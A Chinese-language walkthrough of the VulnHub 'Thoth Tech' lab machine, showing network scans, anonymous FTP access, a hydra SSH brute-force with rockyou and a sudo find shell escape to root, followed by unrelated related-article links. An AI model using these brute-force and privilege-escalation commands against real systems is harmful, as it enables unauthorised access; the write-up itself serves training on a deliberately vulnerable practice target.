靶机描述

靶机地址:https://www.vulnhub.com/entry/thoth-tech-1,734/

Description

n/a

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.76

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  Thoth Tech  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:d5:bf:e3       PCS Systemtechnik GmbH
192.168.9.76    08:00:27:40:93:1f       PCS Systemtechnik GmbH2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.947 seconds (131.48 hosts/sec). 2 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  Thoth Tech  nmap -A -sV -T4 -p- 192.168.9.76
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-18 15:17 CST
Nmap scan report for bogon (192.168.9.76)
Host is up (0.00039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             110 Jul 02  2021 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.9.7
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ac:d2:7b:75:80:67:f2:9d:95:67:52:99:c8:2f:ab:7b (RSA)
|   256 78:ca:86:73:b6:87:06:08:eb:7a:9c:ab:cf:9d:89:16 (ECDSA)
|_  256 93:49:d7:8c:1c:07:7e:8e:79:91:2b:bf:2d:0d:34:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:40:93:1F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.3
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms bogon (192.168.9.76)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds

开放了21,22,80端口

21端口可以使用anonymous匿名登录

2.2枚举漏洞

2.2. 1 21 端口分析

anonymous匿名登录一下

⬢  Thoth Tech  ftp 192.168.9.76
Connected to 192.168.9.76.
220 (vsFTPd 3.0.3)
Name (192.168.9.76:hirak0): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||53198|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             110 Jul 02  2021 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||39265|)
150 Opening BINARY mode data connection for note.txt (110 bytes).
100% |**********************************************************************************************************************|   110        2.41 KiB/s    00:00 ETA
226 Transfer complete.
110 bytes received in 00:00 (2.39 KiB/s)
ftp> cd /home
550 Failed to change directory.
ftp>

查看一下文件内容

⬢  Thoth Tech  cat note.txt
Dear pwnlab,My name is jake. Your password is very weak and easily crackable, I think change your password.

意思是用户名为pwnlab,密码是弱口令

2.2.2 22端口分析

利用得到的用户名pwnlab,去爆破一下ssh

hydra -l pwnlab -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.76

成功得到密码:babygirl1

⬢  Thoth Tech  ssh pwnlab@192.168.9.76
pwnlab@192.168.9.76's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Mon 18 Apr 2022 08:06:53 AM UTCSystem load:  0.4                Processes:               116Usage of /:   24.3% of 19.56GB   Users logged in:         0Memory usage: 18%                IPv4 address for enp0s3: 192.168.9.76Swap usage:   0%66 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradableThe list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Fri Jul  2 09:14:12 2021 from 192.168.1.11
pwnlab@thothtech:~$

成功登录,并在当前目录拿到flag1

pwnlab@thothtech:~$ ls
user.txt
pwnlab@thothtech:~$ cat user.txt
5ec2a44a73e7b259c6b0abc174291359

sudo -l查看一下

pwnlab@thothtech:~$ id
uid=1001(pwnlab) gid=1001(pwnlab) groups=1001(pwnlab)
pwnlab@thothtech:~$ sudo -l
Matching Defaults entries for pwnlab on thothtech:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser pwnlab may run the following commands on thothtech:(root) NOPASSWD: /usr/bin/find

我操,这就出来了?

熟悉的find提权

2.2.3 80 端口分析

凑点字数,随便看看

访问:http://192.168.9.76/

扫描一下目录:dirsearch -u http://192.168.9.76

⬢  Thoth Tech  dirsearch -u http://192.168.9.76_|. _ _  _  _  _ _|_    v0.4.2(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927Output File: /root/.dirsearch/reports/192.168.9.76/_22-04-18_16-13-54.txtError Log: /root/.dirsearch/logs/errors-22-04-18_16-13-54.logTarget: http://192.168.9.76/[16:13:55] Starting:
[16:13:55] 403 -  277B  - /.ht_wsr.txt
[16:13:55] 403 -  277B  - /.htaccess.bak1
[16:13:55] 403 -  277B  - /.htaccess.orig
[16:13:55] 403 -  277B  - /.htaccess.sample
[16:13:55] 403 -  277B  - /.htaccess.save
[16:13:55] 403 -  277B  - /.htaccess_extra
[16:13:55] 403 -  277B  - /.htaccess_orig
[16:13:55] 403 -  277B  - /.htaccess_sc
[16:13:55] 403 -  277B  - /.htaccessBAK
[16:13:55] 403 -  277B  - /.htaccessOLD2
[16:13:55] 403 -  277B  - /.htm
[16:13:55] 403 -  277B  - /.html
[16:13:55] 403 -  277B  - /.htaccessOLD
[16:13:55] 403 -  277B  - /.httr-oauth
[16:13:55] 403 -  277B  - /.htpasswd_test
[16:13:55] 403 -  277B  - /.htpasswds
[16:13:56] 403 -  277B  - /.php
[16:14:09] 200 -   11KB - /index.html
[16:14:17] 403 -  277B  - /server-status
[16:14:17] 403 -  277B  - /server-status/
[16:14:19] 200 -    7B  - /test.php
[16:14:24] 200 -    8KB - /wordpress/wp-login.php
[16:14:24] 301 -    0B  - /wordpress/  ->  http://192.168.1.8/wordpress/Task Completed

额, 又是一个wp站,这边就不继续了

2.3漏洞利用

估计还是wp站的常规套路

2.4权限提升

2.4.1 find提权

https://gtfobins.github.io看一下利用方法

pwnlab@thothtech:~$     find . -exec /bin/sh \; -quit
$ id
id: not found
$ whoami
pwnlab
$ exit
pwnlab@thothtech:~$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt  snap
# cat root.txt
Root flag: d51546d5bcf8e3856c7bff5d201f0df6good job :)

成功提权,并在root目录下拿到flag2

总结

本靶机很简单,通过匿名登录ftp,拿到提示信息,通过爆破ssh账户密码,登录后通过信息收集,利用find提权

  1. 信息收集
  2. ftp匿名登录
  3. hydra爆破ssh
  4. sudo提权-find提权

靶机渗透练习78-Thoth Tech相关推荐

  1. DC-3靶机 渗透测试

    DC-3 查看靶机mac地址 获取IP地址 Nmap JooScan sqlmap john 上传Webshell nc反弹 提权 DC-3只有一个目标获得root权限,拿到flag. 查看靶机mac ...

  2. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  5. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  6. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  7. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  8. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

  9. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

最新文章

  1. combo:机器学习模型合并工具库
  2. Docker系列教程09-使用Docker Hub管理镜像
  3. php 框架 laravel 简介
  4. mongodb 持久化 mysql_scrapy数据持久化存储(MySQL、MongoDB)
  5. Android 开源框架之 Android-async-http 源码解读
  6. HDR和SDR的区别
  7. 前端学习(338):堆栈
  8. MongoDB聚合(aggregate)常用操作及示例
  9. [源码剖析]tinyhttpd-C语言实现最简单的HTTP服务器
  10. 用大数据挑选出国外最值得看的前50条swift教程(v.2019)
  11. 基于RV1126平台imx291分析 --- 回顾之前的注册
  12. 买到春节回家的票了吗?用Python刷票,还不快来试试!(建议收藏) 为回家做准备...
  13. 在git上输错密码,解救办法
  14. 数字信号处理基础----采样定理
  15. ADGUARD——去除广告利器
  16. Flutter 中的应用内购买
  17. krpano资源下载及还原全景图
  18. dsp31段最佳调音图_31段均衡器调整方法详解,音响调音师必备!
  19. 星辰变java镇东王府在哪里,星辰变秦羽身份盘点,最强身份随意灭杀天尊
  20. Oracle 19c本地监听配置出现错误-无监听程序

热门文章

  1. 2018年日常小计汇总
  2. 坚定、信心和进取是成功的基石
  3. 通俗易懂地了解 Bloom filter
  4. 电脑组成部件介绍图解之电脑由哪些部件组成?各个部件作用又是什么 ?主要功能是什么?
  5. http1,http1.1,http2及http3
  6. 普及篇:什么是瀑布模型?
  7. 彻底缓存与协商缓存(浏览器缓存)
  8. pringboot餐饮点餐系统毕业设计源码301749
  9. (模拟信号/数字信号)分别以(模拟信号/数字信号)中传输方式
  10. Matlab论文插图绘制模板第39期—阶梯图(Stairs)